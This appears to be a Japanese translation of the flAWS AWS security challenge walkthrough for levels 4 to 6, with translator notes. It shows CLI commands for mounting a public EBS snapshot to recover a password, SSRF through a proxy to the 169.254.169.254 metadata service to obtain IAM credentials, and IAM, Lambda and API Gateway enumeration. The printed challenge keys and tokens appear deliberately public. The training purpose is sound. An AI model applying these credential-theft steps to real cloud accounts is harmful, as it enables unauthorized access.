次のレベルでは、EC2で実行されているWebページにアクセスする必要があります
スナップショットは、nginxがインストールされた直後にEC2で作成されたことを知っておくと便利です。
EC2のディスクボリュームをバックアップとしてスナップショットすることができます。この場合、スナップショットは公開されましたが、それを見つける必要があります。
これを行うには、まず、以前のレベルのAWSキーを使用して取得できるアカウントIDが必要です。
aws --profile flaws sts get-caller-identity
このコマンドを使用すると、アカウントの名前も表示されます。この場合、名前は「backup」です。このアカウントによって行われるバックアップは、EC2のスナップショットです。次に、スナップショットを検出します。
aws --profile flaws ec2 describe-snapshots --owner-id 975426262029
出力をフィルタリングするためだけにowner-idを指定します。楽しみのために、owner-idを付けずにそのコマンドを実行し、公開可能なすべてのスナップショットを確認します。デフォルトでは、スナップショットは非公開であり、他のアカウントのアカウントIDを指定することでアカウント間で安全に転送することができますが、多くの人が公開するようにしているようです。
このスナップショットはus-west-2にあります。あなたはそのスナップショットを見たいと思うでしょう。
(訳注: --region us-west-2がいるかも)
スナップショットIDを知ったので、マウントしたいと思うでしょう。あなた自身のAWSアカウントでこれを行う必要があります。あなたは無料で入手できます。
まず、スナップショットを使用してボリュームを作成します。
aws --profile YOUR_ACCOUNT ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
(訳注:EC2のコンソールからボリュームを作ってもいいかも)
コンソール上でus-west-2リージョンとストレージオプションを設定してEC2インスタンス(私はubuntuが好きですが、どんなLinuxでもいい)を作成します。すると作成したボリュームを選択することができます。
(訳注:ボリュームは2つになるので動いてない方をアタッチする)
以下のようにインスタンスにSSH接続します。
ssh -i YOUR_KEY.pem [email protected]
(訳注:接続方法はコンソールの「接続」に従えばいいです)
この特別なボリュームをマウントする必要があります:
lsblk
# Returns:
# NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
# xvda 202:0 0 8G 0 disk
# └─xvda1 202:1 0 8G 0 part /
# xvdb 202:16 0 8G 0 disk
# └─xvdb1 202:17 0 8G 0 part
sudo file -s /dev/xvdb1
# Returns:
# /dev/xvdb1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents) (large files) (huge files)
# Next we mount it
sudo mount /dev/xvdb1 /mnt
ボリュームを接続したら、パスワードを知らせる何かを見回したいと思うでしょう。 find /mnt -mtime -1
のいくつかの亜種を実行すると最近のファイルを見つけることができます。最近のファイルは、
find /mnt -type f -mtime -1 2> /dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less
それはあなたの検索の絞り込みに役立つように変更された約36ファイルを表示するでしょう。 (訳注:マウントされるボリュームが古いので結果は出ない)
ubuntuユーザのホームディレクトリには、 /home/ubuntu/setupNginx.sh
というファイルがあります。
これにより、basic認証のユーザーが作成されています。
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
AWSでは、EC2とデータベース(RDS)のスナップショットを作成できます。その主な目的はバックアップを作成することですが、パスワードを忘れたときに、スナップショットを使用して自分のEC2にアクセスすることがあります。これにより、攻撃者は物事にアクセスできるようになります。スナップショットは通常自分のアカウントに限定されているため、攻撃者は攻撃者がAWSキーにアクセスしてEC2の開始/停止やその他の操作を行うことができ、EC2をスナップショットに使用し、EC2をそのボリュームにアクセスするための環境内のボリュームすべてのバックアップと同様に、バックアップを慎重に保護する必要があります。
このEC2には、単純なHTTPのみのプロキシがあります。その使用法のいくつかの例を以下に示します。
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
このプロキシを使用して、level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud にlevel6バケットの内容をリストする方法を理解できるかどうかを確認してください。 レベル6のバケットには隠れたディレクトリがあります。
AWSを含むクラウドサービスでは、IP 169.254.169.254が魔法です。それはメタデータサービスです。
このアドレスについてはRFC(RFC-3927) がありますが、ここでAWS固有のドキュメントここ を読む必要があります。
あなたは (http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/l) から (http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/) に道を見つけることができたはずです。
.git repoキーの存在を知っていたレベル6バケットの内容を次のような方法でリストすることを可能にした EC2のIAMロールによって提供されたAWS資格情報を見つけたはずです。
これによりEC2のIAMロールから提供されたAWSの資格情報を見つけられたはずです。 これはレベル6バケットの内容をリストすることが可能です。
.gitリポジトリの存在は、次のようなコマンドで知ることができました。
aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
あなたの~/.aws/credentials
ファイルのトークンを以下ののように指定する必要があることに注意してください:
[level5]
aws_access_key_id = ASIAJO7K65L4SF2H46NA
aws_secret_access_key = aRSf3r0kGDAjDrfu4MvT4fbogSVnTgmhNEjDMydo
aws_session_token = FQoDYXdzEDcaDHXfBLcFnxqv3Fs8aiK3A5gdfngeeKowhp9CvklC1QeshSXdMmyfS6rkPizvGpt3l5LrhqxEg7BLnCBllxpbbILZ+9H4bhGMPR7dXR3mc32L5y8zm2+0VszTewxXbKG0Sf3EjDRJZBOzwPJZmlpn0oVsAnqYhkk9fpOVAFOPSufsaKNWF6vAHl2jT9dANWExumXT9Rc4ZR9jKc7xhxYEcxXBoKr+xFYiblki6FkqGlfIChLz/4EZsEdjYCd/2HAQyMOMe1d/KPE0nE8srIBN5aBoXbddcL6ix1xGpAEfNBhxI3UwVp5eMU5cskyRQlk3wtQYuXfL8xprOqYSf1KwmSyhHEgDOwZgc+SmiV2tbA5RfuWz48aU2NfZnu5xQqnpW7NwyQaRfXbfewNlYMPzRUH4sX441RGl1JYK5PWfsdvyEXbaxUKMNMrASqQpFboPefyXasYFEuZQFdgkHy5oRG3vBrIzf4O9U+gDM+kUUJf5YmBy9vmjzLv4N2SM0kzB/uAQaPmAHS9aMzeaZIJcze35snBSDtb+IJ3T2V5p93rDtKCkuKAe1M30JFzS3EdL6An7zZ/VRSSJ2fM86699LE5bMeWlr+so05/NxQU=
そうしないと、InvalidAccessKeyIdエラーが発生します。
バケットを見るとこのように表示されます。
$ aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-26 13:06:05 915 index.html
IPアドレス169.254.169.254は、クラウドの世界の魔法のIPです。 AWS、Azure、Google、DigitalOceanなどがこれを使用して、クラウドリソースが自分に関するメタデータを見つけられるようにします。 Googleのように、HTTPヘッダーとして Metadata-Flavor:Google
を使用し、 X-Forwarded-For
ヘッダーで要求を拒否するなど、リクエストには追加の制約があります。 AWSには制約がありません。 EC2からそのIPに任意の種類のHTTP要求を行うことができれば、所有者が見たくない情報を取得する可能性があります。
NicolasGrégoire 氏は、preziは、あなたのサーバーがスライドにコンテンツとして含めるURLを指定することを許可し、これにより、EC2インスタンスプロファイルのアクセスキーを提供する169.254.169.254を指すことができたことを発見しました(リンク) 。彼はまた、Phabricator とCoinbase でもこの魔法のIPにアクセスできる問題を発見しました。
IAMプロファイルのアクセスキーにアクセスすることに関する同様の問題は、EC2のユーザーデータへのアクセスです。ユーザーのデータは、APIキーや資格情報などの秘密情報をEC2に渡すことがあります。
アプリケーションで169.254.169.254またはローカルおよびプライベートIP範囲にアクセスできないようにしてください。さらに、IAMの役割が可能な限り制限されていることを確認してください。
この最終的なチャレンジでは、SecurityAuditポリシーが添付されたユーザーアクセスキーが取得されています。このAWSアカウントで他に何ができるのか、他に何があるのかを探しましょう。
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
SecurityAuditグループは、AWSアカウントのリソースの概要をハイレベルで表示できますが、IAMポリシーを調べる場合にも役立ちます。まず、あなたが誰であるかを知りましょう(あなたのプロフィールに「level6」という名前を付けたと仮定します):
aws --profile level6 iam get-user
ユーザ名がLevel6であることがわかったので、どのポリシーがこのユーザーに与えられているかを知ることができます:
aws --profile level6 iam list-attached-user-policies --user-name Level6
これで、2つのポリシーが添付されていることがわかりました。
SecurityAudit
:これはあなたのコンソールか、ここ で調べることができるAWSポリシーです。list_apigateways
:私が作ったカスタムです。私はそれがこの挑戦に役立つだろうと思うので、それが何であるか把握しようとするべきです。
ポリシーのARNを知ったら、そのバージョンのIDを取得できます:
aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
ARNとバージョンIDがあるので、実際のポリシーは何かを知ることができます:
aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
これは、arn:aws:apigateway:us-west-2::/restapis/*
で apigateway:GET
と呼ぶことができるこのポリシーを使用していることを示しています。
これを使用すると、隠されたリソースの方向にあなたを導くはずです。
あなたは今あなたが arn:aws:apigateway:us-west-2::/restapis/*
を得る能力を持っていることを知っています。
この場合のAPIゲートウェイはラムダ関数を呼び出すために使用されますが、呼び出す方法を理解する必要があります。
SecurityAuditポリシーを使用すると、lambdaに関するいくつかのことが表示されます。
aws --region us-west-2 --profile level6 lambda list-functions
つまり、 "Level6"という名前の関数があり、SecurityAuditを実行すると次のようになります。
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
これは、 arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\
を実行する能力を示しています。 "s33ppypa75"はrest-api-idです。添付されている他のポリシーで使用してください:
aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
ステージ名は "Prod"です。ラムダ関数は、そのrest-api-id、ステージ名、領域を使用して呼び出されます。 リソースは https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6 です。 このURLにアクセスしてください。
一般的に、SecurityAuditポリシーなどの読み取り専用アクセス許可をユーザーやエンティティに与えることが一般的です。自分や他のIAMポリシーを読む能力は、攻撃者が自分の環境に存在するものを見つけ出し、弱点や間違いを探すのに役立ちます。
あなたがメタデータを読んだり、あなたの許可が何であるかだけを知ることができるような許可さえ、自由にすべての権限を渡さないでください。
flawSのチャレンジを完了したことをお祝いします! [email protected]にフィードバックを送ってください。 あなたが何かを学んだら、あなたの友人にそれについて話してください。